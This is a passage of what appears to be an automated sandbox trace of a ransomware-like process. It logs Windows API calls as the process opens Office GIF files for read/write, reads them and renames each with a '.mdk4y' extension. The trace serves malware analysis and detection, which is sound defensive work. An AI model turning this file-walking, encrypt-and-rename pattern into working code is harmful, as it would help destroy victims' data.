lpMultiByteStr=".V2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pðnk", lpUsedDefaultChar=0x37dec0) returned 1 [0183.064] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.065] AreFileApisANSI () returned 1 [0183.065] GetACP () returned 0x4e4 [0183.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="..2Yf+OxAotefTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pðnk", lpUsedDefaultChar=0x37dec0) returned 2 [0183.065] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.065] AreFileApisANSI () returned 1 [0183.065] GetACP () returned 0x4e4 [0183.065] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD10253_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD10253_.GIFfTVQff47pd28rrUw9w5pRXqpd85TNZLBcLzpT4rPdJAH8ZCtN+RJ9OX1UoAO8NWmV+JDB9lNS/T/AXSepKT+y6WPDtiJvWYEIB6apaOz63YDWtKInCZVmUn7xLGP1HNyVMG5B3xsZHJvjfi41HDurxxCp6aXbw/+EZqfzPraL5fyDUUmcb4UXZUhSWD+t0opAQcL8/FhPLD+mTjzDw1Dg3G8XCs0n1dkolDhQyg5e4fFc+wEyraLwQseqG6pðnk", lpUsedDefaultChar=0x37dec0) returned 12 [0183.065] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10253_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.066] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825829600000) returned 1 [0183.066] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x967, lpOverlapped=0x0) returned 1 [0183.068] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825829800000) returned 1 [0183.068] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825829800000) returned 1 [0183.068] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10253_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10253_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10253_.gif.mdk4y")) returned 1 [0183.069] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.069] AreFileApisANSI () returned 1 [0183.069] GetACP () returned 0x4e4 [0183.069] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD10254_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD10254_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.069] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10254_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.070] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825830000000) returned 1 [0183.070] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xf0, lpOverlapped=0x0) returned 1 [0183.071] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825830100000) returned 1 [0183.071] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825830100000) returned 1 [0183.071] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10254_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10254_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10254_.gif.mdk4y")) returned 1 [0183.071] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.071] AreFileApisANSI () returned 1 [0183.071] GetACP () returned 0x4e4 [0183.072] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD10255_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD10255_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.072] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10255_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.072] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825830200000) returned 1 [0183.072] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xea, lpOverlapped=0x0) returned 1 [0183.073] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825830300000) returned 1 [0183.073] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825830300000) returned 1 [0183.073] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10255_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10255_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10255_.gif.mdk4y")) returned 1 [0183.074] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.074] AreFileApisANSI () returned 1 [0183.074] GetACP () returned 0x4e4 [0183.074] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD10263_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD10263_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.074] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10263_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.075] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825830500000) returned 1 [0183.075] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x297, lpOverlapped=0x0) returned 1 [0183.076] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825830600000) returned 1 [0183.076] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825830600000) returned 1 [0183.076] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10263_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10263_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10263_.gif.mdk4y")) returned 1 [0183.110] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.110] AreFileApisANSI () returned 1 [0183.110] GetACP () returned 0x4e4 [0183.110] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD10264_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD10264_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.110] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10264_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.111] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825834100000) returned 1 [0183.111] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb9, lpOverlapped=0x0) returned 1 [0183.112] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825834200000) returned 1 [0183.112] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825834200000) returned 1 [0183.112] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10264_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10264_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10264_.gif.mdk4y")) returned 1 [0183.113] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.113] AreFileApisANSI () returned 1 [0183.113] GetACP () returned 0x4e4 [0183.113] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD10265_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD10265_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.113] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10265_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.114] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825834400000) returned 1 [0183.114] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x134, lpOverlapped=0x0) returned 1 [0183.115] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825834500000) returned 1 [0183.115] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825834500000) returned 1 [0183.115] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10265_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10265_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10265_.gif.mdk4y")) returned 1 [0183.140] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.140] AreFileApisANSI () returned 1 [0183.140] GetACP () returned 0x4e4 [0183.140] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD10266_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD10266_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.140] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10266_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.141] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825837100000) returned 1 [0183.141] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb1, lpOverlapped=0x0) returned 1 [0183.142] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825837200000) returned 1 [0183.142] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825837200000) returned 1 [0183.144] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10266_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10266_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10266_.gif.mdk4y")) returned 1 [0183.144] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.144] AreFileApisANSI () returned 1 [0183.144] GetACP () returned 0x4e4 [0183.144] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD10267_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD10267_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.144] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10267_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.145] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825837500000) returned 1 [0183.145] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x137, lpOverlapped=0x0) returned 1 [0183.146] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825837600000) returned 1 [0183.146] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825837600000) returned 1 [0183.146] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10267_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10267_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10267_.gif.mdk4y")) returned 1 [0183.147] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.147] AreFileApisANSI () returned 1 [0183.147] GetACP () returned 0x4e4 [0183.147] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD10268_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD10268_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.148] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10268_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.148] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825837800000) returned 1 [0183.148] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0xb1, lpOverlapped=0x0) returned 1 [0183.149] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825837900000) returned 1 [0183.149] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825837900000) returned 1 [0183.149] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10268_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10268_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10268_.gif.mdk4y")) returned 1 [0183.150] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.150] AreFileApisANSI () returned 1 [0183.150] GetACP () returned 0x4e4 [0183.150] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD10297_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD10297_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.150] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10297_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.151] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825838100000) returned 1 [0183.151] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x46b, lpOverlapped=0x0) returned 1 [0183.152] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825838400000) returned 1 [0183.155] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825838500000) returned 1 [0183.156] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10297_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10297_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10297_.gif.mdk4y")) returned 1 [0183.156] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.156] AreFileApisANSI () returned 1 [0183.156] GetACP () returned 0x4e4 [0183.157] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD10298_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD10298_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.157] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10298_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.158] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825838800000) returned 1 [0183.158] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x467, lpOverlapped=0x0) returned 1 [0183.159] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825838900000) returned 1 [0183.159] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825838900000) returned 1 [0183.159] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10298_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10298_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10298_.gif.mdk4y")) returned 1 [0183.160] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.160] AreFileApisANSI () returned 1 [0183.160] GetACP () returned 0x4e4 [0183.160] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD10299_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD10299_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.160] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10299_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.161] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825839100000) returned 1 [0183.161] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x13b, lpOverlapped=0x0) returned 1 [0183.162] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825839200000) returned 1 [0183.162] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825839200000) returned 1 [0183.162] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10299_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10299_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10299_.gif.mdk4y")) returned 1 [0183.163] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0183.163] AreFileApisANSI () returned 1 [0183.163] GetACP () returned 0x4e4 [0183.163] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="BD10300_.GIF", cchWideChar=12, lpMultiByteStr=0x6b766c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dec0 | out: lpMultiByteStr="BD10300_.GIF", lpUsedDefaultChar=0x37dec0) returned 12 [0183.163] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10300_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xe0 [0183.164] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825839400000) returned 1 [0183.164] ReadFile (in: hFile=0xe0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dec0, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dec0*=0x105, lpOverlapped=0x0) returned 1 [0183.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825839500000) returned 1 [0183.165] QueryPerformanceCounter (in: lpPerformanceCount=0x37de58 | out: lpPerformanceCount=0x37de58*=1825839500000) returned 1 [0183.165] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10300_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\BULLETS\\BD10300_.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\media\\office14\\bullets\\bd10300_.gif.mdk4y")) returned 1 [0183.166] FindNextFileW (in: hFindFile=0x6ab350, lpFindFileData=0x6b7110 | out: 